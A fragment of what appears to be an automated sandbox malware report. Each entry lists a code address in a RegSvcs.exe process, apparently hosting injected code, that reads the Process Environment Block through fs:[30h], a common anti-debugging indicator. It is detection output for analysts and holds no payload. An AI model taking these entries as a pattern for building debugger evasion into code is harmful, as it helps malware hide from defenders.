Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B45B1 mov eax, dword ptr fs:[00000030h]	8_2_015B45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B45B1 mov eax, dword ptr fs:[00000030h]	8_2_015B45B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B245A mov eax, dword ptr fs:[00000030h]	8_2_015B245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161C460 mov ecx, dword ptr fs:[00000030h]	8_2_0161C460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158645D mov eax, dword ptr fs:[00000030h]	8_2_0158645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE443 mov eax, dword ptr fs:[00000030h]	8_2_015CE443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BA470 mov eax, dword ptr fs:[00000030h]	8_2_015BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BA470 mov eax, dword ptr fs:[00000030h]	8_2_015BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BA470 mov eax, dword ptr fs:[00000030h]	8_2_015BA470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164A456 mov eax, dword ptr fs:[00000030h]	8_2_0164A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01616420 mov eax, dword ptr fs:[00000030h]	8_2_01616420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C8402 mov eax, dword ptr fs:[00000030h]	8_2_015C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C8402 mov eax, dword ptr fs:[00000030h]	8_2_015C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C8402 mov eax, dword ptr fs:[00000030h]	8_2_015C8402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E420 mov eax, dword ptr fs:[00000030h]	8_2_0158E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E420 mov eax, dword ptr fs:[00000030h]	8_2_0158E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158E420 mov eax, dword ptr fs:[00000030h]	8_2_0158E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158C427 mov eax, dword ptr fs:[00000030h]	8_2_0158C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015904E5 mov ecx, dword ptr fs:[00000030h]	8_2_015904E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161A4B0 mov eax, dword ptr fs:[00000030h]	8_2_0161A4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C44B0 mov ecx, dword ptr fs:[00000030h]	8_2_015C44B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015964AB mov eax, dword ptr fs:[00000030h]	8_2_015964AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164A49A mov eax, dword ptr fs:[00000030h]	8_2_0164A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590750 mov eax, dword ptr fs:[00000030h]	8_2_01590750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2750 mov eax, dword ptr fs:[00000030h]	8_2_015D2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2750 mov eax, dword ptr fs:[00000030h]	8_2_015D2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C674D mov esi, dword ptr fs:[00000030h]	8_2_015C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C674D mov eax, dword ptr fs:[00000030h]	8_2_015C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C674D mov eax, dword ptr fs:[00000030h]	8_2_015C674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01598770 mov eax, dword ptr fs:[00000030h]	8_2_01598770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770 mov eax, dword ptr fs:[00000030h]	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01614755 mov eax, dword ptr fs:[00000030h]	8_2_01614755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161E75D mov eax, dword ptr fs:[00000030h]	8_2_0161E75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590710 mov eax, dword ptr fs:[00000030h]	8_2_01590710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C0710 mov eax, dword ptr fs:[00000030h]	8_2_015C0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160C730 mov eax, dword ptr fs:[00000030h]	8_2_0160C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC700 mov eax, dword ptr fs:[00000030h]	8_2_015CC700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C273C mov eax, dword ptr fs:[00000030h]	8_2_015C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C273C mov ecx, dword ptr fs:[00000030h]	8_2_015C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C273C mov eax, dword ptr fs:[00000030h]	8_2_015C273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC720 mov eax, dword ptr fs:[00000030h]	8_2_015CC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC720 mov eax, dword ptr fs:[00000030h]	8_2_015CC720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161E7E1 mov eax, dword ptr fs:[00000030h]	8_2_0161E7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159C7C0 mov eax, dword ptr fs:[00000030h]	8_2_0159C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016107C3 mov eax, dword ptr fs:[00000030h]	8_2_016107C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015947FB mov eax, dword ptr fs:[00000030h]	8_2_015947FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015947FB mov eax, dword ptr fs:[00000030h]	8_2_015947FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B27ED mov eax, dword ptr fs:[00000030h]	8_2_015B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B27ED mov eax, dword ptr fs:[00000030h]	8_2_015B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B27ED mov eax, dword ptr fs:[00000030h]	8_2_015B27ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016447A0 mov eax, dword ptr fs:[00000030h]	8_2_016447A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163678E mov eax, dword ptr fs:[00000030h]	8_2_0163678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015907AF mov eax, dword ptr fs:[00000030h]	8_2_015907AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165866E mov eax, dword ptr fs:[00000030h]	8_2_0165866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165866E mov eax, dword ptr fs:[00000030h]	8_2_0165866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AC640 mov eax, dword ptr fs:[00000030h]	8_2_015AC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C2674 mov eax, dword ptr fs:[00000030h]	8_2_015C2674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA660 mov eax, dword ptr fs:[00000030h]	8_2_015CA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA660 mov eax, dword ptr fs:[00000030h]	8_2_015CA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2619 mov eax, dword ptr fs:[00000030h]	8_2_015D2619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A260B mov eax, dword ptr fs:[00000030h]	8_2_015A260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E609 mov eax, dword ptr fs:[00000030h]	8_2_0160E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159262C mov eax, dword ptr fs:[00000030h]	8_2_0159262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C6620 mov eax, dword ptr fs:[00000030h]	8_2_015C6620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C8620 mov eax, dword ptr fs:[00000030h]	8_2_015C8620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE627 mov eax, dword ptr fs:[00000030h]	8_2_015AE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016106F1 mov eax, dword ptr fs:[00000030h]	8_2_016106F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016106F1 mov eax, dword ptr fs:[00000030h]	8_2_016106F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0160E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0160E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0160E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0160E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA6C7 mov ebx, dword ptr fs:[00000030h]	8_2_015CA6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA6C7 mov eax, dword ptr fs:[00000030h]	8_2_015CA6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594690 mov eax, dword ptr fs:[00000030h]	8_2_01594690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594690 mov eax, dword ptr fs:[00000030h]	8_2_01594690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C66B0 mov eax, dword ptr fs:[00000030h]	8_2_015C66B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC6A6 mov eax, dword ptr fs:[00000030h]	8_2_015CC6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01634978 mov eax, dword ptr fs:[00000030h]	8_2_01634978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01634978 mov eax, dword ptr fs:[00000030h]	8_2_01634978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161C97C mov eax, dword ptr fs:[00000030h]	8_2_0161C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01664940 mov eax, dword ptr fs:[00000030h]	8_2_01664940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01610946 mov eax, dword ptr fs:[00000030h]	8_2_01610946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D096E mov eax, dword ptr fs:[00000030h]	8_2_015D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D096E mov edx, dword ptr fs:[00000030h]	8_2_015D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D096E mov eax, dword ptr fs:[00000030h]	8_2_015D096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B6962 mov eax, dword ptr fs:[00000030h]	8_2_015B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B6962 mov eax, dword ptr fs:[00000030h]	8_2_015B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B6962 mov eax, dword ptr fs:[00000030h]	8_2_015B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588918 mov eax, dword ptr fs:[00000030h]	8_2_01588918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01588918 mov eax, dword ptr fs:[00000030h]	8_2_01588918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0162892B mov eax, dword ptr fs:[00000030h]	8_2_0162892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161892A mov eax, dword ptr fs:[00000030h]	8_2_0161892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E908 mov eax, dword ptr fs:[00000030h]	8_2_0160E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0160E908 mov eax, dword ptr fs:[00000030h]	8_2_0160E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161C912 mov eax, dword ptr fs:[00000030h]	8_2_0161C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161E9E0 mov eax, dword ptr fs:[00000030h]	8_2_0161E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0159A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C49D0 mov eax, dword ptr fs:[00000030h]	8_2_015C49D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016269C0 mov eax, dword ptr fs:[00000030h]	8_2_016269C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C29F9 mov eax, dword ptr fs:[00000030h]	8_2_015C29F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C29F9 mov eax, dword ptr fs:[00000030h]	8_2_015C29F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165A9D3 mov eax, dword ptr fs:[00000030h]	8_2_0165A9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016189B3 mov esi, dword ptr fs:[00000030h]	8_2_016189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016189B3 mov eax, dword ptr fs:[00000030h]	8_2_016189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016189B3 mov eax, dword ptr fs:[00000030h]	8_2_016189B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015909AD mov eax, dword ptr fs:[00000030h]	8_2_015909AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015909AD mov eax, dword ptr fs:[00000030h]	8_2_015909AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0 mov eax, dword ptr fs:[00000030h]	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594859 mov eax, dword ptr fs:[00000030h]	8_2_01594859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01594859 mov eax, dword ptr fs:[00000030h]	8_2_01594859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C0854 mov eax, dword ptr fs:[00000030h]	8_2_015C0854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626870 mov eax, dword ptr fs:[00000030h]	8_2_01626870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01626870 mov eax, dword ptr fs:[00000030h]	8_2_01626870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161E872 mov eax, dword ptr fs:[00000030h]	8_2_0161E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161E872 mov eax, dword ptr fs:[00000030h]	8_2_0161E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A2840 mov ecx, dword ptr fs:[00000030h]	8_2_015A2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163483A mov eax, dword ptr fs:[00000030h]	8_2_0163483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163483A mov eax, dword ptr fs:[00000030h]	8_2_0163483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CA830 mov eax, dword ptr fs:[00000030h]	8_2_015CA830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov eax, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov eax, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov eax, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov ecx, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov eax, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2835 mov eax, dword ptr fs:[00000030h]	8_2_015B2835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161C810 mov eax, dword ptr fs:[00000030h]	8_2_0161C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165A8E4 mov eax, dword ptr fs:[00000030h]	8_2_0165A8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BE8C0 mov eax, dword ptr fs:[00000030h]	8_2_015BE8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CC8F9 mov eax, dword ptr fs:[00000030h]	8_2_015CC8F9
